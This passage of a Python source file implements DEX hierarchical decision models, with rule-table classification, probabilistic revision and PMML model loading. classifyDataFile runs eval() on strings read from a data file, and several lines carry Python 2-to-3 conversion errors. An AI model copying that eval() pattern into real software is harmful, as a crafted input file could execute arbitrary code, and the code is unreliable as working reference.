of possible values the node can take, or interval [lo, hi] for continuous\n self.ordered = None # can be: \"True\", \"False\" or \"None\" for unknown\n self.parents = []\n self.children = []\n self.tableFunction = []\n self.generalFunction = None # General function - for parents (disc. or cont.) of continuous only\n\n def setName(self, name):\n self.name = name\n\n def setType(self, type):\n self.type = type\n \n def setValues(self, valuesList):\n self.values = valuesList\n\n def setParent(self, parent):\n self.parents.append(parent)\n\n def addChild(self, child):\n self.children.append(child)\n\n def addFunctionRow(self, row):\n # row is formed as [[val1, val2,.., valn], {classDist}, confidence(float)]\n ##check if row is in the right format\n ##check if the row is not already there\n self.tableFunction.append(row)\n\n def printFunction(self):\n for i in range(len(self.tableFunction)):\n rowString=\"\"\n for j in range(len(self.tableFunction[i])):\n rowString = rowString + \"%s \\t\" % self.tableFunction[i][j]\n print(rowString)\n\n\n \nclass Atrib:\n # class of DEX attribute\n def __init__(self):\n self.name = None\n self.type = \"discrete\" # can be: \"discrete\", \"continuous\" or \"None\" for unknown\n self.values = [] # list of possible values the attribute can take\n self.parents = []\n self.values = [] # list of possible values the node can take, or interval [lo, hi] for continuous\n self.ordered = None # can be: \"True\", \"False\" or \"None\" for unknown \n\n def setName(self, name):\n self.name = name\n \n def setType(self, type):\n self.type = type\n \n def setValues(self, valuesList):\n self.values = valuesList\n\n def setParent(self, parent):\n self.parents.append(parent)\n\n\n\n\n\ndef getAtribs(somenode):\n # collects all the Atrib-s below a node into a list and returns it\n list = []\n if isinstance(somenode, Node):\n for c in somenode.children:\n for el in getAtribs(c):\n if el not in list:\n list.append(el)\n elif isinstance(somenode, Atrib):\n list.append(somenode)\n return list\n\n\ndef getNodes(somenode):\n # collects all the Node-s below a node into a list and returns it\n # -- this function was added on 21.9.2004 -- \n list = []\n if isinstance(somenode, Node):\n list.append(somenode)\n for c in somenode.children:\n for el in getNodes(c):\n if el not in list:\n list.append(el)\n return list\n\n\ndef getValues(node):\n return node.values\n\n\ndef getAllValues(someone):\n # returns a list of values-lists for all attributes under someone\n atribs = getAtribs(someone)\n listOfValues = []\n for a in atribs:\n listOfValues.append(a.values)\n return listOfValues\n\n\ndef permute(Lists):\n # returns a list of permutations given list of lists\n import operator\n if Lists:\n result = map(lambda I: [I,], Lists[0])\n for list in Lists[1:]:\n curr = []\n for item in list:\n new = map(operator.add, result, [[item,]]*len(result))\n curr[len(curr):] = new\n result = curr\n else:\n result = []\n return result\n\n\ndef getAllVariants(someone):\n valsList = getAllValues(someone)\n valsList.reverse() # because permute gives them in wrong order\n per = permute(valsList)\n for i in range(len(per)):\n per[i].reverse() # because permute gives them in TWICE wrong order\n valsList.reverse()\n return per\n\n\ndef printAllVariants(someone):\n variants = getAllVariants(someone)\n for i in range(len(variants)):\n varstring = \"\"\n for j in range(len(variants[i])):\n varstring = varstring + \"%s\\t\" % variants[i][j]\n print(varstring)\n\n\ndef getSituation(node):\n # situation can be:\n # 1 (discrete parent of discrete children),\n # 2 (discrete parent of a single continuous child - discretization)\n # or 3 (continuous parent of continuous children)\n if node.type==\"discrete\":\n if len(node.children)==1: # single child\n if node.children[0].type==\"discrete\":\n return 1\n elif node.children[0].type==\"continuous\":\n return 2\n else: # multiple children\n for c in node.children:\n if c.type==\"continuous\":\n print(\"Error: cont. children of disc. parent!\")\n return None\n return 1\n elif node.type==\"continuous\":\n if len(node.children)==1: # single child\n if node.children[0].type==\"discrete\":\n print(\"Error: cont. parent has a discrete child!\")\n return None\n elif node.children[0].type==\"continuous\":\n return 3\n else: # multiple children\n for c in node.children:\n if c.type==\"discrete\":\n print(\"Error: disc. children of cont. parent!\")\n return None\n return 3\n\n\n\ndef classify(variant, root):\n # returnes the class of variant given the root of the model\n returnValue = None\n if isinstance(root, Atrib): # stopping criterion\n if root in variant.keys():\n returnValue = variant[root]\n else:\n print(\"Error: attribute not in the variant dictionary!\")\n print(\"Attribute's name: \", root.name)\n else:\n computedVariant={}\n for c in root.children:\n if c.type == \"continuous\" and isinstance(c, Atrib): # only one continuous\n returnValue = root.generalFunction(variant[c]) #discretize child\n elif c.type == \"continuous\" and isinstance(c, Node): # top of cont. tree\n print(\"CLASSIFICATION FOR CONT. SUBTREES IS NOT MADE YET!\")\n returnValue = root.generalFunction(classify(variant,c)) #make classif. for continuous!\n else:\n if c in variant.keys(): # if child value (dist.) already given, do not calculate.\n computedVariant[c] = variant[c]\n else:\n computedVariant[c] = classify(variant, c)\n # this way all the children values get to computedVariant dictionary\n if returnValue == None: # so, if not continuous..\n # now classify according to tableFunction:\n if type(root.tableFunction[0][1]) == str: #crisp rules - preverjem kar naivno na podlagi prvega pravila\n for rule in root.tableFunction:\n combinationDict = rule[0]\n match = True\n for k in combinationDict.keys():\n if combinationDict[k] != computedVariant[k]:\n match = False\n if match == True:\n returnValue = rule[1]\n else: #probabilistic rules\n conFlag = False\n resultDict={}\n for v in root.values:\n resultDict[v]=0.0\n resultDict[\"CONFIDENCE\"] = 0.0\n for rule in root.tableFunction:\n combinationDict = rule[0]\n distributionDict = rule[1]\n if \"CONFIDENCE\" in distributionDict.keys():\n conFlag = True\n f = 1 #factor - probability of rule\n childrenConfidence = 1.0\n for child in root.children:\n ruleValue = combinationDict[child] # string: value of a certain child in the rule\n thisChildsDistribution = computedVariant[child]\n if f != 0.0: # if f=0.0, it has no sense to calculate further \n f = f * thisChildsDistribution[ruleValue]\n if (\"CONFIDENCE\" in thisChildsDistribution.keys()) and (thisChildsDistribution[\"CONFIDENCE\"]!=None):\n childrenConfidence = childrenConfidence * thisChildsDistribution[\"CONFIDENCE\"]\n for k in resultDict.keys():\n if k==\"CONFIDENCE\":\n if \"CONFIDENCE\" in distributionDict.keys():\n #print \"Pred mnozenjem je childrenConfidence: \", childrenConfidence\n if f != 0.0: # if f=0.0, it has no sense to calculate further \n resultDict[k] = resultDict[k] + (f * childrenConfidence * distributionDict[\"CONFIDENCE\"])\n else:\n if f != 0.0: # if f=0.0, it has no sense to calculate further \n resultDict[k] = resultDict[k] + (f * distributionDict[k])\n if conFlag == False:\n resultDict[\"CONFIDENCE\"] = None\n returnValue = resultDict\n return returnValue\n\n\n\ndef getAttributeNumber(somenode):\n # returns the number of attributes 'somenode' covers\n returnValue = None\n if isinstance(somenode, Atrib):\n returnValue = 1\n elif isinstance (somenode, Node):\n sum = 0\n for c in somenode.children:\n sum = sum + getAttributeNumber(c)\n returnValue = sum\n else: print(\"Exception: getAttributeNumber called with unknown object\")\n return returnValue\n \n \n\ndef getAllVariantsWithClass(someone):\n # gives \"data from the model\" in a variantClass list\n variants = getAllVariants(someone)\n for i in range(len(variants)):\n classValue = classify(variants[i], someone)\n variants[i].append(classValue)\n return variants\n\n\ndef printAllVariantsWithClass(modelRoot):\n # produces \"data from the model\" in tab delimited format\n variants = getAllVariants(modelRoot)\n for i in range(len(variants)):\n varstring = \"\"\n classValue = classify(variants[i], modelRoot)\n for j in range(len(variants[i])):\n varstring = varstring + \"%s\\t\" % variants[i][j]\n varstring = varstring + str(classValue)\n print(varstring)\n\n# it is hard to test how valid is the classification result\n# since the result is a distribution and not a crisp value\n# possibility : difference in distribution (sum of real diff. at each value - then relative?)\ndef classifyDataFile(filename, modelRoot):\n # classifies data from given file with given model and provides CA\n dataFile = open(filename, 'r')\n entriesNumber = 0 #counts the rows\n difSum = 0 #overall differential sum\n row = dataFile.readline()\n while row:\n cvariant = []\n el = ''\n for i in range(len(row)):\n if row[i]=='\\t': cvariant.append(el); el=''\n ###elif row[i]==' ': cvariant.append(el)\n elif row[i]=='\\n': cvariant.append(el)\n else : el = el + row[i]\n variant = cvariant[:-1] # we strip the class off\n cstring = cvariant[-1:][0]\n classValue = eval(cstring) #we save the class value\n print(type(classValue))\n resultValue = classify(variant, modelRoot)\n entriesNumber = entriesNumber + 1\n for k in (eval(classValue)).keys():\n difSum = difSum + abs((eval(classValue))[k] - resultValue[k])\n row = dataFile.readline()\n dataFile.close()\n relativedifSum = float(difSum) / entriesNumber\n return 1-relativedifSum\n\n\ndef classifyCrispDataFile(filename, modelRoot):\n # classifies data from given file with given model and provides CA\n dataFile = open(filename, 'r')\n entriesNumber = 0 #counts the rows\n difSum = 0 #overall differential sum\n row = dataFile.readline()\n while row:\n cvariant = []\n el = ''\n for i in range(len(row)):\n if row[i]=='\\t': cvariant.append(el); el=''\n ###elif row[i]==' ': cvariant.append(el)\n elif row[i]=='\\n': cvariant.append(el)\n else : el = el + row[i]\n variant = cvariant[:-1] # we strip the class off\n cstring = cvariant[-1:][0] # class\n resultValue = classify(variant, modelRoot)\n entriesNumber = entriesNumber + 1\n difSum = difSum + abs(1 - resultValue[cstring])\n row = dataFile.readline()\n dataFile.close()\n relativedifSum = float(difSum) / entriesNumber\n return 1-relativedifSum\n\n\n# with PROB we do not need monotonicity check\n##def monOKhandy(someone, clashingVariant2):\n\n##def monOK(someone, clashingVariant2):\n\n\ndef distDiff(d1, d2):\n # distribution difference among distributions d1 and d2\n diff = 0\n for k in d1.keys():\n diff = diff + abs(d1[k] - d2[k])\n return diff\n\n\ndef maxKey(di):\n max = 0\n maxkey = None\n for k in di.keys():\n if di[k] > max:\n max = di[k]\n maxkey = k\n return maxkey\n\n\n# Node changing part - for automatic update\ndef changeNode(node, newVariant):\n # changes the right variant in 'node' to 'newVariant'\n # newVariant CANNOT be flat\n if len(node.tableFunction[0]) == len(newVariant):\n # then find the right row and change it\n print(len(node.tableFunction))\n for f in node.tableFunction:\n if f[:-1] == newVariant[:-1]:\n #f = newVariant ###doesn't work\n node.tableFunction.remove(f)\n node.tableFunction.append(newVariant)\n\n\n\n\ndef updateFromFile(modelRoot, newDataFile, trust=0.1):\n # updates the old model (given with \"modelRoot\")\n # according to new data (given with \"newDataFile\" tabulated file)\n # Procedure changes old model !!! Only in RAM of course :)\n # As a result it prints all table functions of the new model\n dataFile = open(newDataFile, 'r')\n row = dataFile.readline()\n while row:\n # <-parsing->\n cvariant = []\n el = ''\n for i in range(len(row)):\n if row[i]=='\\t': cvariant.append(el); el=''\n elif row[i]=='\\n': cvariant.append(el)\n else : el = el + row[i]\n # cvariant now contains the variant+class from current row in new data file\n # <-parsing->\n clist=[]\n update(modelRoot, modelRoot, cvariant, clist, trust, dFile=newDataFile)\n row = dataFile.readline()\n dataFile.close()\n print(\"New table functions are:\")\n print(modelRoot.name, \" :\")\n for t in range(len(modelRoot.tableFunction)):\n print(modelRoot.tableFunction[t])\n print\n for i in range(len(modelRoot.children)):\n print (modelRoot.children[i]).name\n for j in range(len((modelRoot.children[i]).tableFunction)):\n print (modelRoot.children[i]).tableFunction[j]\n print\n print(\"UPDATE FINISHED.\")\n\n\ndef update(modelRoot, node, newVariant, changesList, trust=0.1, dFile=None):\n # updates the node (step 1) and children (step 2)\n # newVariant can be flat or not\n # <--getting the goal distribution-->\n distC = classify(newVariant[:-1], node)\n actualClass = newVariant[-1:][0]\n goalDist = {}\n for k in distC.keys():\n if k == actualClass:\n goalDist[k] = float(distC[k] + trust) / (1+trust)\n else:\n goalDist[k] = float(distC[k]) / (1+trust)\n # <--getting the goal distribution-->\n\n \n # \n m = max(map(len,map(getValues, node.children))) #max ValuesCount in children\n # we seek m most similar distributions\n\n closestChildrenVals = []\n for f in node.tableFunction:\n closestChildrenVals.append((distDiff(f[-1:][0], goalDist), f[:-1])) #only children f[:-1]\n closestChildrenVals.sort()\n closestChildrenVals = closestChildrenVals[:m] #we pick only the closest m\n\n # closestChildrenVals = [(distDiff1, [v1,v2]), (distDiff2, [v1',v2']), (distDiff3, [v1'',v2''])]\n # - before it was only = [val1, val2]\n # <--finding node children to amplify-->\n\n \n if len(node.tableFunction[0]) == len(newVariant):\n #variant matches the node\n #<--step 1-->\n for f in node.tableFunction:\n if f[:-1] == newVariant[:-1]: #all but class matches\n rowBefore = f[:] #copy list contents\n rowBefore[-1:][0] = {}\n dicti = f[-1]\n rowBefore[-1] = dicti.copy()\n print(rowBefore)\n oldDict = f[-1] #old class dist. dictionary\n for k in oldDict.keys():\n if k == newVariant[-1:][0]: #class name matches with one from data\n oldDict[k] = float(oldDict[k] + trust) / (1+trust)\n else:\n oldDict[k] = float(oldDict[k]) / (1+trust)\n rowAfter = f[:]\n rowAfter[-1:][0] = {}\n dicti2 = f[-1]\n rowAfter[-1] = dicti2.copy()\n if node.name != modelRoot.name:\n changesList.append( (node.name, rowBefore, rowAfter) ) \n #<--step 1-->\n #<--step 2-->\n # in this case there must be only atribs as children..no step 2\n for child in node.children:\n if isinstance(child, Node): print(\"CAUTION child node skipped!\")\n #<--step 2-->\n else:\n #variant is flat for the node\n # then we have to evaluate children first\n childValues = []\n childAtribs = []\n for c in node.children:\n atNum = getAttributeNumber(c)\n childDist = classify(newVariant[:atNum], c)\n childValues.append(maxKey(childDist)) #we append the most probable value\n childAtribs.append(newVariant[:atNum])\n newVariant = newVariant[atNum:]\n #<--step 1-->\n for f in node.tableFunction:\n if f[:-1] == childValues: #all but class matches\n rowBefore = f[:] #copy list contents\n rowBefore[-1:][0] = {}\n dicti = f[-1]\n rowBefore[-1] = dicti.copy()\n oldDict = f[-1] #old class dist. dictionary\n for k in oldDict.keys():\n if k == newVariant[-1:][0]: #class name matches with one from data\n oldDict[k] = float(oldDict[k] + trust) / (1+trust)\n else:\n oldDict[k] = float(oldDict[k]) / (1+trust)\n rowAfter = f[:]\n rowAfter[-1:][0] = {}\n dicti2 = f[-1]\n rowAfter[-1] = dicti2.copy()\n if node.name != modelRoot.name:\n changesList.append( (node.name, rowBefore, rowAfter) ) \n \n #<--step 1-->\n #<--step 2-->\n\n # FOR NOW - we promote all m similar ones\n # closestChildrenVals = [(distDiff1, [v1,v2]), (distDiff2, [v1',v2']), (distDiff3, [v1'',v2''])]\n # - before it was only = [val1, val2]\n bestCA = classifyCrispDataFile(dFile, modelRoot)\n bestCCV = None\n for j in range(len(closestChildrenVals)):\n ccv = closestChildrenVals[j][1] #one variant to promote\n childrenChangesList = []\n for i in range(len(ccv)):\n## if neighbors(closestChildrenVals[i], childValues[i], node, i):\n # we merge atribs and class(to be emphasized)\n # NOW WE NEED CHANGE/UNCHANGE PROCEDURE..\n # A NEW UPDATE THAT TRACKS CHANGES!! different from normal update, because\n # this one must not track the change of action 1 and thus is not general enough.\n # although we could say if node = rootnode do not track...YES - Solution!\n # we need the root node as input anyway now.. \n childVariant = childAtribs[i] + [ccv[i]]\n thisOne=[]\n update(modelRoot, node.children[i], childVariant, thisOne, trust, dFile)\n childrenChangesList = childrenChangesList + thisOne \n ca = classifyCrispDataFile(dFile, modelRoot)\n if ca > bestCA:\n bestCCV = ccv\n bestCA = ca\n unchange(node, childrenChangesList)\n # now make only the best promotion\n if bestCCV != None:\n for ind in range(len(bestCCV)):\n childVariant = childAtribs[ind] + [bestCCV[ind]]\n thisOne = []\n update(modelRoot, node.children[ind], childVariant, thisOne, trust, dFile)\n changesList = changesList + thisOne\n #<--step 2-->\n if node.name == modelRoot.name:\n print(\"since I am root (%s), here are the changes of updating below me:\" % node.name)\n for c in changesList:\n print(c)\n\n\n\ndef unchange(node, changesList):\n for c in node.children:\n for el in changesList:\n if c.name == el[0]: #name matches nodename\n for i in range(len(c.tableFunction)):\n if c.tableFunction[i] == el[2]: #row matches rowAfter\n c.tableFunction[i] = el[1] #then make it as before\n changesList.remove(el)\n\n\n\n\n\ndef neighbors(val1, val2, node, i):\n result = None\n child = node.children[i]\n for a in range(len(child.values)):\n if child.values[a] == val1:\n index1 = a\n if child.values[a] == val2:\n index2 = a\n if abs(index1 - index2) < 2:\n result = 1\n return result\n\n\n\n#### HISTORY ######\n\ndef readXMLmodel(fname):\n #reads a model from a DEX model file in PMML format and returns the models top node\n from xml.dom import minidom\n modelDict = {} # dictionary that holds the variables (Nodes and Atribs)\n xmldata = minidom.parse(fname)\n model = xmldata.childNodes[1]\n hierarchy = model.childNodes[2]\n miningschema = hierarchy.childNodes[0]\n #now we find out which are Nodes and which Atribs..and create them\n for el in miningschema.childNodes:\n elname = str(el.attributes.get('name').value)\n elusage = el.attributes.get('usageType').value\n if elusage=='predicted':\n modelDict[elname] = Node()\n modelDict[elname].setName(elname)\n elif elusage=='active':\n modelDict[elname] = Atrib()\n modelDict[elname].setName(elname)\n else : print(\"ERROR - unusual type of attribute in miningschema.\")\n #then we find relations among them and connect them accordingly\n att = hierarchy.childNodes[1]\n topNodeName = att.attributes.get('name').value\n recurSetRelations(att, modelDict)\n # -- works fine -- the structure of the model is built!\n #now to the values..\n datadictionary = model.childNodes[1]\n for datafield in datadictionary.childNodes:\n dfName = datafield.attributes.get(\"name\").value\n valuesList = []\n for item in datafield.childNodes:\n if item.localName == 'Value': # we ignore 'Extension'-s\n valuesList.append(str(item.attributes.get(\"value\").value)) #works only for 'u strings so far\n valuesList.reverse()\n modelDict[dfName].values = valuesList\n #now to the rule-based functions..\n functionlist = hierarchy.childNodes[2]\n for function in functionlist.childNodes:\n # 'function' is a function of one Node\n fuName = function.attributes.get(\"name\").value #fuName is the name of the Node with this function\n print(\"parsing node: %s\" % str(fuName))\n for rule in function.childNodes:\n # 'rule' is one rule in the 'function'\n ruleDict={} #dict. of subnodes values (the first element of function row)\n condition = rule.childNodes[0]\n result = rule.childNodes[1]\n compoundpredicate = condition.childNodes[0]\n if compoundpredicate.attributes.get(\"booleanOperator\").value != \"and\": print(\"ERR: compound predicate in XML is not AND!\")\n childNum = len(modelDict[fuName].children)\n for i in range(childNum):\n try:\n if compoundpredicate.childNodes[i].attributes.get(\"field\").value == modelDict[fuName].children[i].name:\n ruleDict[modelDict[fuName].children[i]]= str(compoundpredicate.childNodes[i].attributes.get(\"value\").value)\n else:\n print(\"ERR: wrong child order in XML file!\")\n print(compoundpredicate.childNodes[i].attributes.get(\"field\").value , \" is not equal to \" , modelDict[fuName].children[i].name)\n except IndexError:\n print(\"OOPS! Children index problem.\")\n print(\"The problematic Node is : \", fuName)\n # now we add the last item in the list that represents the rule:\n valueDict={} #dict. of Node values (actually a prob. distribution)\n for val in modelDict[fuName].values:\n if val == str(result.childNodes[0].attributes.get(\"value\").value):\n valueDict[val] = 1.0\n else:\n valueDict[val] = 0.0\n # and add this to the utility function:\n modelDict[fuName].addFunctionRow([ruleDict, valueDict])\n return modelDict[topNodeName]\n\n\ndef recurSetRelations(it, modelDict):\n for c in it.childNodes:\n modelDict[it.attributes.get('name').value].addChild( modelDict[c.attributes.get('name').value] )\n modelDict[c.attributes.get('name').value].setParent( modelDict[it.attributes.get('name').value] )\n if isinstance(modelDict[c.attributes.get('name').value], Node):\n recurSetRelations(c, modelDict)\n \n\ndef revision(modelRoot, node, newVariant, changesList, cN=0.5, trust=0.1, dFile=None):\n if isinstance(node, Atrib): return # stopping criterion\n # revises the node with respect to CONFIDENCE ###(step 1) and children (step 2)\n # <--getting the goal distribution for step 1-->\n actualClass = newVariant[node.name]\n print(\"actualClass is:\", actualClass)\n # get childer evaluations and get the most probable combination of values\n mpCombDict = {} # {c1:[val1], c2:[val2.1,val2.2],.., cN:[valN]} most probable combination of children values given newVariant attributes\n childrenNVresults = {} # a dict. of children classification results for use later in 2.step\n for c in node.children:\n cdis = classify(newVariant, c)\n print(\"cdis of \" +str(c.name) + \" \" + str(cdis))\n childrenNVresults[c]=cdis # saving this for later use in 2.step\n maxP = -1.0\n mpCombDict[c]=[]\n for k in c.values: # must be in c.values to avoid CONFIDENCE\n if cdis[k] > maxP:\n maxP = cdis[k]\n if (maxP == -1.0):\n print(\"ERROR in revision: no max childProb value!\")\n else:\n for k in c.values:\n if cdis[k] == maxP:\n (mpCombDict[c]).append(k) # append the maxValue to the list of this child\n ##print \"ETO: maxProb je \" + str(maxP) + \" dosezejo jo pa tile: \"; print mpCombDict\n print(\"Revision will be made with cN=\" + str(cN))\n # <--make step 1-->\n for rule in node.tableFunction:\n combinationDict = rule[0]\n rightRule = True # only if all the values are the same, it is true\n for k in combinationDict.keys():\n if combinationDict[k] not in mpCombDict[k]:\n rightRule = False\n if rightRule == True: # do the revision step 1 on this one (should happen once in a table function)\n for key in (rule[1]).keys():\n if (key != \"CONFIDENCE\") and (key == actualClass):\n (rule[1])[key] = ((rule[1])[key] * (rule[1])[\"CONFIDENCE\"] * (1-cN) + 1 * cN * (1 - (rule[1])[\"CONFIDENCE\"])) / ((rule[1])[\"CONFIDENCE\"] * (1-cN) + cN * (1 - (rule[1])[\"CONFIDENCE\"]))\n elif (key != \"CONFIDENCE\") and (key != actualClass):\n (rule[1])[key] = ((rule[1])[key] * (rule[1])[\"CONFIDENCE\"] * (1-cN)) / ((rule[1])[\"CONFIDENCE\"] * (1-cN) + cN * (1 - (rule[1])[\"CONFIDENCE\"]))\n (rule[1])[\"CONFIDENCE\"] = ((rule[1])[\"CONFIDENCE\"] * (1-cN) + cN * (1 - (rule[1])[\"CONFIDENCE\"])) / ((rule[1])[\"CONFIDENCE\"] * (1-cN) + cN * (1 - (rule[1])[\"CONFIDENCE\"]) + (1 - (rule[1])[\"CONFIDENCE\"]) * (1-cN) )\n print\n print(\"REVISION MADE!\")\n print(\"--on node: \" + str(node.name) + \" forcing \" + str(actualClass) + \" into row \" + str(rule[0]))\n## print \"--new dist.: \" + str(rule[1])\n## print \"--new CONFIDENCE: \" + str((rule[1])[\"CONFIDENCE\"])\n## print\n # <--end step 1, make step 2-->\n # zdaj najdi kombinacijo ki v node.tableFunction najbolj zadene pravi class, dodaj to v newVariant in rekurzivno poklici revizijo\n highestProb = -1.0\n ## highestCombination = None - ne rabim vec, saj delam seznam\n for rule in node.tableFunction:\n distDict = rule[1]\n if distDict[actualClass] > highestProb:\n highestProb = distDict[actualClass]\n ## highestCombination = rule[0] - ne rabim vec, saj delam seznam\n # se en sprehod skozi da poberemo morebitne kombinacije ki so vse \"highestProb\"\n highestCombinationList = []\n for rule in node.tableFunction:\n distDict = rule[1]\n if distDict[actualClass] == highestProb:\n highestCombinationList.append(rule[0])\n print(\"Number of equaly high for \" + str(node.name) + \" is: \" + str(len(highestCombinationList)))\n # naslednji korak je izbira najmanj divergiranega od teh..\n # childrenNVresults = {child1:{\"val1\":#1, \"val2\":#2, CONFIDENCE:#3}, .., childN:{...}}\n maxWeight = -1.0\n for hcomb in highestCombinationList:\n weight = None\n for kx in hcomb.keys():\n actualValue = hcomb[kx] # actualValue is like \"low\"\n kxDict = childrenNVresults[kx]\n if weight == None: # first call\n weight = kxDict[actualValue]\n else:\n weight = weight * kxDict[actualValue]\n if weight > maxWeight:\n maxWeight = weight\n # now we have the maximum weight of all the combinations\n # another for-clause to pick all combinations (maybe more than one) with such a weight\n for hcomb in highestCombinationList:\n weight = None\n for kx in hcomb.keys():\n actualValue = hcomb[kx] # actualValue is like \"low\"\n kxDict = childrenNVresults[kx]\n if weight == None: # first call\n weight = kxDict[actualValue]\n else:\n weight = weight * kxDict[actualValue]\n if weight == maxWeight:\n print(\"Of equal, this one:\" + str(hcomb) + \" has the highest weight of \" + str(weight) + \".\")\n for key in hcomb.keys():\n newVariant[key.name] = hcomb[key]\n print(\"calling children revision on \" + str(key.name) + \" with newvariant:\"+str(newVariant))\n revision(modelRoot, key, newVariant, changesList, cN, trust=0.1, dFile=None)\n # <--end step 2--> \n\n\ndef revisionFromFileBatch(modelRoot, newDataFile, cN=0.5, trust=0.1, quiet=False):\n # updates the old model (given with \"modelRoot\")\n # according to new data (given with \"newDataFile\" tabulated file) in a BATCH mode\n # Procedure changes old model !!! Only in RAM of course :)\n # As a result it prints all table functions of the new model\n import copy #because we need the deepcopy function\n import orange #because the new data are read as orange.ExampleTable (from file in Orange tab. format)\n # <-begin--save the original table functions->\n originalDict={}\n nodes = getNodes(modelRoot)\n for n in nodes:\n originalDict[n.name]=n.tableFunction\n safeOriginalCopy = copy.deepcopy(originalDict)\n # <-end--save the original table functions->\n if quiet==False: print(\"original functions:\"); print(safeOriginalCopy)\n # <-begin--make initial empty dict of differences->\n differences = {} #the initially empty (all zeros in distributions) table function dictionary\n differences = copy.deepcopy(originalDict)\n for k in differences.keys():\n tf = differences[k]\n for interList in tf:\n interDic = interList[-1:][0]\n for kk in interDic.keys():\n interDic[kk]=0.0\n # <-end--make initial empty dict of differences->\n if quiet==False: print(\"initial (empty) diferences:\"); print(differences)\n # --------tukaj pa naredi zdaj branje s pomocjo Orange.ExampleTable:\n data = orange.ExampleTable(newDataFile)\n atribs = getAtribs(modelRoot) # a more general revision would check also for Nodes..\n for i in range(len(data)):\n # <-reading->\n newVariant = {}\n for atrib in atribs:\n newVariant[atrib] = {}\n for val in atrib.values:\n if val == data[i][atrib.name].value:\n (newVariant[atrib])[val] = 1.0\n else:\n (newVariant[atrib])[val] = 0.0\n newVariant[modelRoot.name] = data[i].getclass().value\n print(\"--/\\--\")\n print(\"Calling revision with: \")\n print(newVariant)\n print(\"--/\\--\")\n # <-reading->\n revision(modelRoot, modelRoot, newVariant, [], cN)\n # -- now we have to put this into differences and reset the model\n # -- all but the CONFIDENCE get added and normalized\n #<-begin--add to differences - NORMALIZATION!>\n for k in originalDict.keys():\n tf = originalDict[k]\n difftf = differences[k]\n stf = safeOriginalCopy[k]\n for interList in tf: # spremembe naj se dodajo samo ce so bile dejansko narejene (preveris z == safeOriginalCopy)\n interDic = interList[-1:][0]\n diffinterList = difftf[tf.index(interList)]\n diffinterDic = diffinterList[-1:][0]\n stfinterList = stf[tf.index(interList)]\n stfinterDic = stfinterList[-1:][0]\n # -- dodano 28.11.2005\n changeMade = False\n for kk in interDic.keys():\n if kk != 'CONFIDENCE':\n if interDic[kk] != stfinterDic[kk]:\n changeMade = True\n # --\n if changeMade == True:\n sumProbabs = 0.0\n for kk in interDic.keys():\n if kk != 'CONFIDENCE':\n diffinterDic[kk] = diffinterDic[kk] + interDic[kk]\n sumProbabs = sumProbabs + diffinterDic[kk]\n else:\n if interDic[kk] != 0.6: #ATTENTION - datset specific!\n print(\"interDic kaze na spremembo CONF iz 0.6\")\n print\n diffinterDic[kk] = diffinterDic[kk] + 1 #for CONFIDENCE : just adding the number of applications\n for kk in diffinterDic.keys(): #normalization\n if kk != 'CONFIDENCE':\n diffinterDic[kk] = diffinterDic[kk] / float(sumProbabs)\n #<-end--add to differences>\n print(\"DIFFERENCES:\")\n print(differences)\n print\n## if quiet==False:\n## print \"----------------------------------------\"\n## print \"BEFORE reset model gives MAE of\", classifyRealDataFile(newDataFile, modelRoot)\n #<-begin--reset the table functions of the model>\n for k in originalDict.keys():\n tf = originalDict[k]\n savedtf = safeOriginalCopy[k]\n for interList in tf:\n interDic = interList[-1:][0]\n savedinterList = savedtf[tf.index(interList)]\n savedinterDic = savedinterList[-1:][0]\n for kk in interDic.keys():\n if kk != 'CONFIDENCE': # changed CONFIDENCE stays the same\n interDic[kk]=savedinterDic[kk]\n else:\n interDic[kk]=savedinterDic[kk] # no, not even CONFIDENCE stays the same! \n #<-end--reset the table functions of the model>\n## if quiet==False:\n## print \"AFTER reset model gives MAE of\", classifyRealDataFile(newDataFile, modelRoot)\n## print \"----------------------------------------\"\n # \\/\\/\\//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\\\/\\/\\/\\/\\/\\/\\/\\/\\\\/\\/\\/\\/\\/\\/\\\\/\\\\\\/\\/\\/\\\\/\\//\\/ \n # -- now we have to add the differences to the model\n #<-begin--add differences to the model - NORMALIZATION>\n for k in originalDict.keys():\n tf = originalDict[k]\n difftf = differences[k]\n for interList in tf:\n interDic = interList[-1:][0]\n diffinterList = difftf[tf.index(interList)]\n diffinterDic = diffinterList[-1:][0]\n sumProbabs = 0.0\n numberOfRevisions = 0\n for kk in interDic.keys():\n if kk != 'CONFIDENCE':\n interDic[kk] = interDic[kk] + diffinterDic[kk]\n sumProbabs = sumProbabs + interDic[kk]\n else:\n numberOfRevisions = int(numberOfRevisions + diffinterDic[kk])\n for kk in interDic.keys(): #normalization\n if kk != 'CONFIDENCE':\n interDic[kk] = interDic[kk] / float(sumProbabs)\n else: #CONFIDENCE change\n for n in range(numberOfRevisions):\n interDic[kk] = (interDic[kk] * (1-cN) + cN * (1 - interDic[kk])) / (interDic[kk] * (1-cN) + cN * (1 - interDic[kk]) + (1 - interDic[kk]) * (1-cN) )\n #<-end--add differences to the model>\n print(\"New table functions are:\")\n print(modelRoot.name, \" :\")\n for t in range(len(modelRoot.tableFunction)):\n childrenCombinationDict = modelRoot.tableFunction[t][0]\n probDistDict = modelRoot.tableFunction[t][1]\n outString = \"\" \n for k in childrenCombinationDict.keys():\n outString = outString + \" \" + childrenCombinationDict[k] + \" \"\n ##print outString + \"\\t\\t\" + str(probDistDict)\n print('%-20s ==> %s' % (outString, str(probDistDict)))\n print\n for i in range(len(modelRoot.children)): \n print((modelRoot.children[i]).name)\n for j in range(len((modelRoot.children[i]).tableFunction)):\n childrenCombinationDict = (modelRoot.children[i]).tableFunction[j][0]\n probDistDict = (modelRoot.children[i]).tableFunction[j][1]\n outString = \"\" \n for k in childrenCombinationDict.keys():\n outString = outString + \" \" + childrenCombinationDict[k] + \" \"\n ##print outString + \"\\t\\t\" + str(probDistDict)\n print('%-20s ==> %s' % (outString, str(probDistDict)))\n print\n print(\"UPDATE FINISHED.\")\n## print \"And new MAE is: \", classifyRealDataFile(newDataFile, modelRoot)\n\n\ndef revisionFromFile(modelRoot, newDataFile, cN=0.5, trust=0.1, quiet=False):\n # updates the old model (given with \"modelRoot\")\n # according to new data (given with \"newDataFile\" tabulated file) in SEQUENTIAL mode\n # Procedure changes old model !!! Only in RAM of course :)\n # As a result it prints all table functions of the new model\n import orange #because the new data are read as orange.ExampleTable (from file in Orange tab. format)\n data = orange.ExampleTable(newDataFile)\n atribs = getAtribs(modelRoot) # a more general revision would check also for Nodes..\n for i in range(len(data)):\n # <-reading->\n newVariant = {}\n for atrib in atribs:\n newVariant[atrib] = {}\n for val in 